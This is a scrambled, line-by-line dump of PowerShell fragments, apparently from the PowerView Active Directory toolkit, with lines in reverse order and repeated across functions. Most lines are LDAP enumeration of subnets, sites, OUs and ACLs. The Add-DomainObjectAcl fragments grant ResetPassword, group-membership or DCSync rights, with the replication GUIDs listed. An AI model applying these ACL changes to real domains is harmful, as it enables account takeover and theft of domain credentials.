_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: $SubnetSearcher = Get-DomainSearcher @SearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Custom PSObject with translated subnet property fields.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Returns all subnets with linked to the specified group policy object.


_raw: Returns all subnets with "admin" in their name in the testlab.local domain.


_raw: Get-DomainSubnet *admin* -Domain testlab.local


_raw: Returns the current subnets in the domain.


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Only return subnets from the specified SiteName.


_raw: or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.


_raw: An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'),


_raw: "-Properties whencreated,usnchanged,...". By default, all subnet objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty


_raw: Search for all subnets or specific subnets objects in AD.


_raw: Write-Verbose "[Get-DomainSite] Error disposing of the Results object"


_raw: $Site = Convert-LDAPProperty -Properties $_.Properties


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $SiteSearcher.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() }


_raw: Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)"


_raw: Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter"


_raw: Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property"


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'


_raw: Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: $SiteSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: if ($IdentityInstance -match '^CN=.*') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Custom PSObject with translated site property fields.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Returns all sites with linked to the specified group policy object.


_raw: Returns all sites with "admin" in their name in the testlab.local domain.


_raw: Get-DomainSite *admin* -Domain testlab.local


_raw: Returns the current sites in the domain.


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Only return sites with the specified GUID in their gplink property.


_raw: GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.


_raw: An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or


_raw: "-Properties whencreated,usnchanged,...". By default, all site objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty


_raw: Search for all sites or specific site objects in AD.


_raw: Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"


_raw: $OU = Convert-LDAPProperty -Properties $_.Properties


_raw: $Results | Where-Object {$_} | ForEach-Object {


_raw: else { $Results = $OUSearcher.FindAll() }


_raw: if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }


_raw: Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"


_raw: Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"


_raw: Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"


_raw: if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


_raw: $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'


_raw: Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"


_raw: $OUSearcher = Get-DomainSearcher @SearcherArguments


_raw: Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"


_raw: $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname


_raw: if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {


_raw: if ($IdentityInstance -match '^OU=.*') {


_raw: $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')


_raw: $Identity | Where-Object {$_} | ForEach-Object {


_raw: if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }


_raw: if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }


_raw: [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Custom PSObject with translated OU property fields.


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Returns all OUs with linked to the specified group policy object.


_raw: Returns all OUs with "admin" in their name in the testlab.local domain.


_raw: Get-DomainOU *admin* -Domain testlab.local


_raw: Switch. Return raw results instead of translating the fields into a custom PSObject.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.


_raw: Specifies an option for examining security information of a directory object.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies the properties of the output object to retrieve from the server.


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: Only return OUs with the specified GUID in their gplink property.


_raw: GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.


_raw: An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or


_raw: "-Properties whencreated,usnchanged,...". By default, all OU objects for


_raw: matching the criteria. To only return specific properties, use


_raw: LDAP filter based on targeting/filter parameters, and searches for all objects


_raw: Builds a directory searcher object using Get-DomainSearcher, builds a custom


_raw: Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty


_raw: Search for all organization units (OUs) or specific OU objects in AD.


_raw: Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName


_raw: $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier


_raw: $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags


_raw: $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType


_raw: $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags


_raw: $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'


_raw: $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType


_raw: $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights


_raw: $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier


_raw: $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN


_raw: $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass


_raw: # save so we don't look up more than once


_raw: elseif ($Object.Properties.objectclass -match 'user') {


_raw: elseif ($Object.Properties.objectclass -match 'group') {


_raw: if ($Object.Properties.objectclass -match 'computer') {


_raw: $Object = Get-DomainObject @ObjectSearcherArguments


_raw: $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'


_raw: $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain


_raw: $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName


_raw: $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier


_raw: $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags


_raw: $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType


_raw: $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags


_raw: $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'


_raw: $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType


_raw: $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights


_raw: $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier


_raw: $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN


_raw: $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]


_raw: if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {


_raw: if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {


_raw: Get-DomainObjectAcl @ACLArguments | ForEach-Object {


_raw: if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }


_raw: if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }


_raw: if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }


_raw: if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs


_raw: $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)


_raw: $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force


_raw: Finds interesting object ACLS in the ev.testlab.local domain and


_raw: Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs


_raw: Finds interesting object ACLS in the current domain.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory objects.


_raw: Switch. Resolve GUIDs to their display names.


_raw: Specifies the domain to use for the query, defaults to the current domain.


_raw: additional IdentityReference* information is appended to the output object.


_raw: then the security identifier SID is translated, the domain object is retrieved, and


_raw: the ACE mean the object can be modified by the principal. If these conditions are met,


_raw: is *-1000 (meaning the account is not built in), and also checks if the rights for


_raw: and for each returned ACE entry it checks if principal security identifier


_raw: This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,


_raw: Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName


_raw: Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.


_raw: Finds object ACLs in the current (or specified) domain with modification


_raw: Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"


_raw: Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"


_raw: # remove all the specified ACEs from the specified object directory entry


_raw: $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType


_raw: $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'


_raw: $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType


_raw: $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'


_raw: Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"


_raw: ForEach ($PrincipalObject in $Principals) {


_raw: #   when applied to a domain's ACL, allows for the use of DCSync


_raw: # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c


_raw: # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2


_raw: # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2


_raw: # allows for the modification of group membership


_raw: # ResetPassword doesn't need to know the user's current password


_raw: $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'


_raw: $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'


_raw: $Targets = Get-DomainObject @TargetSearcherArguments


_raw: throw "Unable to resolve principal: $PrincipalIdentity"


_raw: $Principals = Get-DomainObject @PrincipalSearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }


_raw: if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }


_raw: if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }


_raw: if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }


_raw: [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}


_raw: Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword


_raw: ObjectAceFlags         : ObjectAceTypePresent


_raw: AceType                : AccessAllowedObject


_raw: ObjectAceType          : User-Force-Change-Password


_raw: ObjectDN               : CN=user2,CN=Users,DC=testlab,DC=local


_raw: Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }


_raw: Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword


_raw: $UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid


_raw: Manual GUID representing the right to add to the target.


_raw: Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.


_raw: A [Management.Automation.PSCredential] object of alternate credentials


_raw: Switch. Specifies that the searcher should also return deleted/tombstoned objects.


_raw: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.


_raw: Specifies the PageSize to set for the LDAP searcher object.


_raw: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).


_raw: Specifies an Active Directory server (domain controller) to bind to.


_raw: Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.


_raw: for the domain principal to add for the ACL. Required. Wildcards accepted.


_raw: A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),


_raw: The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"


_raw: Specifies an LDAP query string that is used to filter Active Directory object targets.


_raw: Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.


_raw: for the domain object to modify ACLs for. Required. Wildcards accepted.


_raw: object for the specified -PrincipalIdentity.


_raw: rights GUID can be set with -RightsGUID. These rights are removed from the target


_raw: 'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended


_raw: target object specified by -TargetIdentity. Available -Rights are


_raw: This function modifies the ACL/ACE entries for a given Active Directory


_raw: Removes an ACL from a specific active directory object.


_raw: Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"


_raw: Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"


_raw: # add all the new ACEs to the specified object directory entry


_raw: $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType


_raw: $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'


_raw: $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericWrite'


_raw: $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'


_raw: $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType


_raw: if ($GUIDs -and !($GUIDs -eq 'ExtendedRight') -and !($GUIDs -eq 'GenericWrite')) {


_raw: Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"


_raw: ForEach ($PrincipalObject in $Principals) {


_raw: #   when applied to a domain's ACL, allows for the use of DCSync


_raw: # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c


_raw: # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2


_raw: # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2


_raw: # allows for the modification of group membership


_raw: # ResetPassword doesn't need to know the user's current password


_raw: $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'


_raw: $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'


_raw: $Targets = Get-DomainObject @TargetSearcherArguments


_raw: throw "Unable to resolve principal: $PrincipalIdentity"


_raw: $Principals = Get-DomainObject @PrincipalSearcherArguments


_raw: if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }


_raw: if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }


_raw: if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }


_raw: if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }


_raw: if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }


_raw: if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }


_raw: if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }


_raw: if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }


_raw: if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }


_raw: if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }


_raw: [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync', 'AllExtended', 'GenericWrite')]


_raw: [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]


_raw: ObjectAceFlags         : ObjectAceTypePresent


_raw: AceType                : AccessAllowedObject


_raw: ObjectAceType          : User-Force-Change-Password


_raw: ObjectDN               : CN=dfm (admin),CN=Users,DC=testlab,DC=local


_raw: Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }


_raw: VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local


